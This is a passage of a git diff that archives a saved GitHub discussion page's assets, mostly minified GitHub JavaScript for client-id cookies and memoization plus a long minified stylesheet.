u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon .octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item .draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link .octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group .integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar .progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable .branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request 